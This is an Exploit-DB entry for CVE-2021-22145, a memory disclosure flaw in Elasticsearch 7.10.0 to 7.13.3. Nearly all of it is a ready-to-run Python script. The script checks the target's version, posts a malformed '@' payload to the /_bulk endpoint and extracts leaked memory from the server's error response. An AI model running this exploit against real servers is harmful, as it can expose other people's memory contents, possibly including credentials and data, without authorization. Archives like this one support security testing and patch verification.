Exploit-DB #50149
Description: ElasticSearch 7.13.3 - Memory disclosure
Type: webapps
Platform: multiple
Date: 2021-07-23
Author: r0ny

Exploit:
# Exploit Title: ElasticSearch 7.13.3 - Memory disclosure 
# Date: 21/07/2021
# Exploit Author: r0ny
# Vendor Homepage: https://www.elastic.co/
# Software Link: https://github.com/elastic/elasticsearch
# Version: 7.10.0 to 7.13.3
# Tested on: Kali Linux
# CVE : CVE-2021-22145

#/usr/bin/python3

from argparse import ArgumentParser
import requests
from packaging import version
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

print("\n################################################################################################")
print("######    CVE-2021-22145 Memory leak vulnerability on Elasticsearch (7.10.0 to 7.13.3)    ######")
print("######                     Exploit by r0ny (https://twitter.com/_r0ny)                    ######")
print("################################################################################################\n")
parser = ArgumentParser()
parser.add_argument("-u", "--url", dest="url", help="URL of ElasticSearch service")
parser.add_argument("-apikey", "--api-key", dest="api_key", help="API Key Authentication (Base64)", metavar="API", default="")
parser.add_argument("-b", "--basic", dest="basic", help="Basic Authentication (Base64)", default="")
args = parser.parse_args()

if not (args.url):
    parser.error('Please input the elasticsearch url. e.g "python3 CVE-2021-22145.py -host http://127.0.0.1:9200"')

#Prepare authentication header
authorization_header = "" 
if(args.api_key or args.basic):
    authorization_header = "ApiKey " + args.api_key if args.api_key else "Basic " + args.basic

#Check elasticsearch version
r = requests.get(args.url,headers={"Authorization":authorization_header}, verify=False)
try:
	es_version = json.loads(r.content)["version"]["number"]
except:
	print("# Couldn't connect to " + args.url + ", please verify the url or the authentication token\n")
	print("# Server response: " + str(r.content))
	exit()

if version.parse(es_version) < version.parse("7.10.0") or version.parse(es_version) > version.parse("7.13.3"):
	print("# Elastic Service not vulnerable")
	print("# Elastic Service version: " + es_version) 
	print("# Elastic Service vulnerable versions: 7.10.0 to 7.13.3") 	
	exit()

#Prepare exploitation	
payload = "@\n"
vulnerable_endpoint = "/_bulk"
url = args.url + vulnerable_endpoint

#Exploitation
print("# ElasticSearch Version: " + es_version)
print("# Request to " + url+"\n")
r = requests.post(url, data = payload, headers={"content-type":"application/json", "Authorization":authorization_header}, verify=False)

#Read Memory Leak and remove stacktrace

print("$$$$$$$$$$$$$$$$$$$$$$$$$")
print("$$$$$ Memory Leaked $$$$$")
print("$$$$$$$$$$$$$$$$$$$$$$$$$\n")
response = json.loads(r.content)
leak1 = response["error"]["root_cause"][0]["reason"].split("(byte[])\"")[1].split("; line")[0]
leak2 = response["error"]["reason"].split("(byte[])\"")[1].split("; line")[0]
print(leak1+"\n"+leak2)